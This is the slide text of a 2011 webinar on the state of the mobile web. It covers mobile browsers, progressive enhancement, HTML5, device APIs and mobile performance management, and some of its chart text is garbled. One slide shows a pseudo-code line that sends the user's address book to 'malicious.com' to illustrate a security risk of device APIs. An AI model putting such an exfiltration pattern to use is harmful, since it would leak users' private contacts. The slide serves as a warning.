Best practices for delivering quality web experiences

State of
the mobile web
Peter-Paul Koch
http://quirksmode.org
http://twitter.com/ppk
Compuware Webinar , 24 March 2011

Mobile First!
• Design your sites for mobile first.
• You’ll be forced to decide what is so
important that it MUST be shown in the
mobile device’s tiny display.
• The things you leave out of the mobile
version don’t really need to be in the
desktop version, either.

The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb

You may groan now.

The mobile browsers

WebKit-based

WebKit on Mobile
There is no WebKit on mobile!
There's iPhone Safari (2 and 3),
and Android (1.0 and 1.5)
and S60 WebKit (v3 and v5)
and Blackberry WebKit,
and Palm WebKit,
and Bolt, Ozone, Teashark, and a few more

These WebKits are all different.

Exhibit A: WebKit comparison table
http://quirksmode.org/webkit.html

The mobile browsers

The mobile browsers

Proxy browsers

Proxy browsers
• Page is downloaded to and rendered
on a specialised server.
• A highly compressed image is sent to
the client.
• Advantage: cheap, both in device and
in network costs
• Disadvantage: no client-side
interactivity

Global stats Q4 2010
(by StatCounter)

Safari 23% iOS Stable
Opera 22% Many OSs Stable
BlackBerry 18% BlackBerry Down
Nokia 16% Symbian (and S40) Stable
Android 12% Android Up
NetFront 4% Sony Ericsson & Samsung Stable
Samsung 1% bada Up
UCWeb 1% Many OSs Down
Others 3%

Browser stats
• Those are GLOBAL stats; they are not
necessarily correct for the sites you’re
working on. Always check your stats.
• Social media referrals cause
disproportionate iPhone visits; and
Android to a lesser degree.

But usually this is what happens

Rest? What rest?

Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)

Progressive
enhancement
How do you deal with this immense
amount of browsers?

Use advanced tricks, but make sure
your site remains usable without them.

The site is enhanced as much as the
browser allows.

Progressive
enhancement

HTML

All browsers support HTML. That’s the definition
of a browser.

Progressive
enhancement

Basic CSS

HTML

All browsers support most basic CSS. There will
be bugs, but only few.

Progressive
enhancement
Advanced CSS

Basic CSS

HTML

Advanced CSS is restricted to advanced
browsers. Make sure it contains nothing vital; just
nice extras.

Progressive
enhancement
Advanced CSS

Basic CSS Basic JavaScript

HTML

All browsers support basic JavaScript, but they
can be slow. Maybe switch off in BB5 and lower.

Progressive
enhancement
Advanced CSS Advanced JavaScript

Basic CSS Basic JavaScript

HTML

Advanced JavaScript is a problem. Feature
detection is your friend. Make sure it contains
nothing vital.

Progressive
enhancement
CSS animations? Use them.
If they don’t work, nothing is lost.

Offline storage? Use it.
If it doesn’t work, the user reloads the
site every time. Not perfect, but it works.

Performance
How long does it take to generate 250
lists with 20 items each?

The following graphs give the number of
seconds it took the browsers.

http://quirksmode.org/m/tests/DOMspeed.html

HTML5
• Which browsers support HTML5?
• What is HTML5, anyway?
• Ask five web developers and they’ll
give you five different answers.

HTML5
• Offline storage
• Video and audio
• Canvas
• New input types
• Websockets
• New semantics
• SVG
• File API
• etc. etc. etc.

Offline storage

SVG

New input types

HTML5
• Which browsers support HTML5?
• It depends.
• HTML5 is mainly a marketing
buzzword.
• That’s not bad; we need it.
• But it has no technical meaning.

HTML5 apps
• One core app written in HTML,
CSS, and JavaScript.
• Deployed to several mobile
platforms.
• Ideally, CSS and JavaScript are
stored on the device.
• If it can't be deployed it's still a
website.

Symbian Windows Mobile

I’ve done it. In April 2009.

Device APIs
• Native apps offer device APIs.
• They allow you to access the camera,
accelerometer, SMS, file system, etc.
• Web apps will have to offer them, too.
device.phone.call(device.addressBook['mom'])

Device APIs
var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);

There’s a serious security problem here.
Providing trusted apps might remain an app
store function.

Summary
• Mobile First! Design for mobile, and
your desktop site will become better,
too.

• Use progressive enhancement. Lots of
it. It will keep you sane.

• Know which browsers to develop for.

Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit

• Dolfin for bada (easy)
• Opera Mobile (easy)

Thank you

• Peter-Paul Koch
• http://quirksmode.org
• http://twitter.com/ppk
• Compuware Webinar , 24 March 2011

Best Practices For Delivering
Quality Web Experiences In A
Mobile, Multi-Browser World
Steve Tack

CTO APM Solutions

Compuware

Users Access The Web On A Variety Of Browsers
And Devices

Mobile Devices & Browsers Ever More Important
• Morgan Stanley predicts global mobile users will outnumber
desktop internet users within 3 years
Global Mobile vs. Desktop Internet User Projection, 2007 - 2015
2000
1800 Desktop Users
1600 Mobile Users
Internet Users (MM)

1400
1200
1000
800
600
400
200
0
2007 2008 2009 2010 2011 2012 2013 2014 2015
Source: Mary Meeker, Morgan Stanley

Typical Evolution Of A Company’s Mobile Strategy
• Denial – Don’t do anything
– “Mobile Phone Users? Do we have any?” Limitation
– “Just have them go to our regular website”
• (Reluctant) Acceptance – Create a minimal mobile website
– “Let’s create a simple version of our website that works across all devices”
– Lowest common denominator approach
• Panic – Get an app store presence as quickly as possible
– “We have to have a native app. Everyone else is doing it”
– Create a thin native wrapper around the browser object. Low effort.
Questionable value.
• Contemplation – Fix the native app
– “Wow! These phones can do that?”
– Iteratively replace browser object with native calls, add device-specific
capabilities
• Maturity – Optimize the mobile website
Opportunity
– “Wow! I can do that in a browser? Really?”
– Use the mobile-specific browser capabilities to enhance mobile website

Smartphone Owners By Far Most Active Users
Of Mobile Web
F e
e p
a h
t o
u n
r e

Q
M
D

S
mh
ao
rn
t e
p

0% 10% 20% 30% 40% 50% 60% 70% 80% 90%
Daily Weekly Monthly

Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010

Different Browsers And Devices Have
Different Capabilities
• In turn different browsers offer different experiences - even
amongst high-end, touch screen smartphones

Smartphones Have Redefined Mobile End-Users’
Experience Expectations
• By end of 2011 Nielsen
expects more smartphones
in U.S. than feature phones
• As of November 2010
– 31% of U.S. mobile
subscribers own
smartphones
– 45% of recent acquirers
chose a smartphone over a
feature phone

• Mobile end-users expect
rich, engaging mobile web
experiences

End-Users’ Mobile Experience Expectations
Are Increasing

End-Users’ Mobile Experience Expectations Are
Often Not Met
• Mobile website performance impacts
business results
– 52% of users are unlikely to return to a site
they had trouble accessing on their phone
• 40% said they’d likely visit a competitor’s website
instead

Social media allows
users to voice & record
their frustration in
real-time, negatively
impacting revenue and
brand equity

Poor Mobile Website Performance Hurts Business
Abandonment Rate Across 200+ Web Sites / 177+ Million Page

30
Abandonment Rate
- All Browsers
25
Abandonment Rate (%)

Abandonment Rate
20 - iPhone Safari

15
Slower pages = higher abandonment
10 • Reduces revenue
• Increases costs
• Damages brand
5

0
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Page Load Time (sec.)

Source: Gomez real user monitoring

Delivering Quality Mobile Web Experiences Is
Difficult - Solution: Adopt Your End-Users' POV

The Application Delivery Chain
• Resource
contention
• Capacity issues
Cloud • Slow bursting
Customers
Private Public Browsers
Local
Data Center • Inconsistent geo performance ISP
• Bad performance under load 3rd Party/
Virtual/Physical Environment
• Blocking content delivery Cloud Services • Poorly
performing
DB App Web Load • Network JavaScript
Mainframe Servers Servers Servers Balancers Major peering • Browser/
ISP problems device
• Poorly performing • Network incompatibility
problems • Bandwidth
Java or .NET
methods • Bandwidth
Customer/user point of view throttling • Pages too big
contention • Inconsistent • Low cache
• Slow SQL or Web
Storage transactions • Network connectivity hit rate
services • Improper load
Network peering Content
• Server performance balancing problems
• Outages Delivery
Networks
Web Mobile WAN
Services Components Optimization Mobile
• Configuration issues
• Oversubscribed POP Carrier
• Poor routing optimization Devices
Employees Employees
• Low cache hit rate • Network resource shortage
• Faulty content transcoding
• SMS routing / latency issues

Know Your End-Users

• Can mobile end-users complete key transactions?
– While on the move
– Often one-handed
– With intermittent network/GPS connections

• What devices and browsers
do they use?
• What networks are they on?
• What are their usage
patterns?
• What is their geographic
location?
• What is their context?
• What are their objectives?

Browsers Are Evolving

• HTML5 support
– Application cache, canvas,
audio, video, local storage,
geo-location, etc.

• CSS3 support
– Web fonts, animations,
gradients, shadows, etc.

• Performance improvements
– Faster JavaScript processing
– Parallel download of JS scripts
– More parallel connections
– Resource pre-fetching
– Multi-threading in JS

Leverage Browser Capabilities To Improve
Perceived Performance
• Fewer steps to complete an end-user goal equals better
perceived performance from an end-users’ perspective

Ensure Mobile Web Applications Function As Intended
Across All The Devices Your Customers Use
Android 2.2 – Nexus One BlackBerry OS 5 – Storm 2 iOS 4.1 – iPhone 3GS

Embrace A “One Web” Application Performance
Management Approach
• Mobile websites and applications often share backend infrastructure and
services with existing web apps
• Important to leverage established and common best practices, metrics
and technologies for both mobile and web channels
– Garner operational efficiencies
– Identify mobile specific problems, web specific problems or both across the
entire application delivery chain - from device to datacenter
iPad & Safari
iPhone & Safari iPhone App
Windows 7 & Chrome

How To Deliver Quality Web Experiences In A
Mobile, Multi-Browser World
• Adopt your end-users' point of view

• Know your end-users

• Tailor your mobile experience to meet your end-
users' objectives

• Leverage browser capabilities to improve perceived
performance

• Ensure mobile web applications function as
intended across all the devices your customers use

• Embrace a “One Web” application performance
management approach

Questions?
Compuware Customers
Enjoy Measurable Benefits
• Increased revenue 25%
• Reduced revenue loss by
92% and $737,251 annually
• Reduced home page load
time from 11.3 seconds
to 3.4 seconds
• Saved 50%+ in staff and fees
• Reduced downtime 45%
• Improved first-hour problem
resolution rate to 80%
• Improved annual
troubleshooting efficiency by
97%, saving $784,000
• Reduced SAP license costs by
$475,000 per year
For more information visit Gomez.com or contact us at +1 781.778.2700

Best practices for delivering quality web experiences

More Related Content

What's hot

Viewers also liked

Similar to Best practices for delivering quality web experiences

Recently uploaded

Best practices for delivering quality web experiences